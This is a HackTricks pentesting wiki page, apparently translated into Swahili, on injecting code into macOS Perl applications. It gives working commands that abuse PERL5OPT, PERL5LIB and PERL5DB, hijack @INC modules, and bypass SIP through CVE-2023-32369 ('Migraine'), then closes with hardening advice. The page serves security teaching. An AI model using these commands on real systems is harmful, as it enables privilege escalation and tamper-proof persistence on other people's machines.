macOS Perl Applications Injection
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Via PERL5OPT
& PERL5LIB
env variable
Kwa kutumia variable ya mazingira PERL5OPT
inawezekana kufanya Perl itekeleze amri zisizo za kawaida wakati mfasiri anaanza (hata kabla ya mstari wa kwanza wa script ya lengo kuchambuliwa).
Kwa mfano, tengeneza script hii:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Sasa export the env variable na uendeleze perl script:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Chaguo lingine ni kuunda moduli ya Perl (mfano /tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
Na kisha tumia mabadiliko ya mazingira ili moduli ipatikane na kupakiwa kiotomatiki:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
Mengine mengine ya kuvutia
PERL5DB
– wakati mfasiri anapoanzishwa na bendera-d
(debugger), maudhui yaPERL5DB
yanatekelezwa kama msimbo wa Perl ndani ya muktadha wa debugger. Ikiwa unaweza kuathiri mazingira na bendera za amri za mchakato wa Perl wenye mamlaka, unaweza kufanya kitu kama:
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # itatoa shell kabla ya kutekeleza script
PERL5SHELL
– kwenye Windows, variable hii inasimamia ni executable ipi ya shell ambayo Perl itatumia inapohitajika kuanzisha shell. Inatajwa hapa tu kwa ukamilifu, kwani si muhimu kwenye macOS.
Ingawa PERL5DB
inahitaji swichi -d
, ni kawaida kukutana na scripts za matengenezo au installer ambazo zinafanywa kama root na bendera hii imewezeshwa kwa ajili ya kutatua matatizo kwa kina, na kufanya variable hii kuwa njia halali ya kupandisha mamlaka.
Kupitia utegemezi (@INC abuse)
Inawezekana kuorodhesha njia ya kujumuisha ambayo Perl itatafuta (@INC
) kwa kukimbia:
perl -e 'print join("\n", @INC)'
Matokeo ya kawaida kwenye macOS 13/14 yanaonekana kama:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Baadhi ya folda zilizorejeshwa hata hazipo, hata hivyo /Library/Perl/5.30
ipo, siyo iliyo na ulinzi wa SIP na iko kabla ya folda zilizo na ulinzi wa SIP. Hivyo, ikiwa unaweza kuandika kama root unaweza kuweka moduli mbaya (mfano File/Basename.pm
) ambayo itakuwa kipaumbele kupakuliwa na script yoyote yenye mamlaka inayoiingiza moduli hiyo.
warning
Bado unahitaji root kuandika ndani ya /Library/Perl
na macOS itaonyesha kiashiria cha TCC kinachouliza kwa Upatikanaji wa Disk Kamili kwa mchakato unaofanya operesheni ya kuandika.
Kwa mfano, ikiwa script inatumia use File::Basename;
itakuwa inawezekana kuunda /Library/Perl/5.30/File/Basename.pm
inayokuwa na msimbo unaodhibitiwa na mshambuliaji.
SIP bypass kupitia Msaada wa Uhamiaji (CVE-2023-32369 “Migraine”)
Mnamo Mei 2023 Microsoft ilifunua CVE-2023-32369, iliyopewa jina la Migraine, mbinu ya baada ya unyakuzi inayomruhusu mshambuliaji wa root kuzidi kabisa Ulinzi wa Uhakika wa Mfumo (SIP).
Sehemu iliyo hatarini ni systemmigrationd
, daemon iliyopewa haki ya com.apple.rootless.install.heritable
. Mchakato wowote wa mtoto unaozalishwa na daemon hii unapata haki hiyo na hivyo unafanya kazi nje ya vizuizi vya SIP.
Kati ya watoto walioainishwa na watafiti ni mfasiri aliyetia saini na Apple:
/usr/bin/perl /usr/libexec/migrateLocalKDC …
Kwa sababu Perl inaheshimu PERL5OPT
(na Bash inaheshimu BASH_ENV
), kuharibu mazingira ya daemon kunatosha kupata utekelezaji wa kiholela katika muktadha usio na SIP:
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
Wakati migrateLocalKDC
inafanya kazi, /usr/bin/perl
inaanza na PERL5OPT
mbaya na inatekeleza /private/tmp/migraine.sh
kabla ya SIP kurejeshwa. Kutoka kwenye script hiyo unaweza, kwa mfano, nakala ya payload ndani ya /System/Library/LaunchDaemons
au kupewa sifa ya ziada com.apple.rootless
ili kufanya faili isiweze kufutwa.
Apple ilirekebisha tatizo katika macOS Ventura 13.4, Monterey 12.6.6 na Big Sur 11.7.7, lakini mifumo ya zamani au isiyo na patch bado inabaki kuwa na hatari.
Mapendekezo ya kuimarisha
- Futa mabadiliko hatari – launchdaemons au kazi za cron zenye mamlaka zinapaswa kuanza na mazingira safi (
launchctl unsetenv PERL5OPT
,env -i
, nk.). - Epuka kuendesha waandishi kama root isipokuwa ni lazima. Tumia binaries zilizokusanywa au punguza mamlaka mapema.
- Scripts za muuzaji zikiwa na
-T
(hali ya uchafu) ili Perl ipuuziePERL5OPT
na swichi nyingine zisizo salama wakati ukaguzi wa uchafu umewezeshwa. - Hifadhi macOS kuwa wa kisasa – “Migraine” imepatikana kikamilifu katika toleo la sasa.
Marejeleo
- Microsoft Security Blog – “Uthibitisho mpya wa macOS, Migraine, unaweza kupita Ulinzi wa Uhakika wa Mfumo” (CVE-2023-32369), Mei 30 2023.
- Hackyboiz – “Utafiti wa Kupita SIP ya macOS (PERL5OPT & BASH_ENV)”, Mei 2025.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.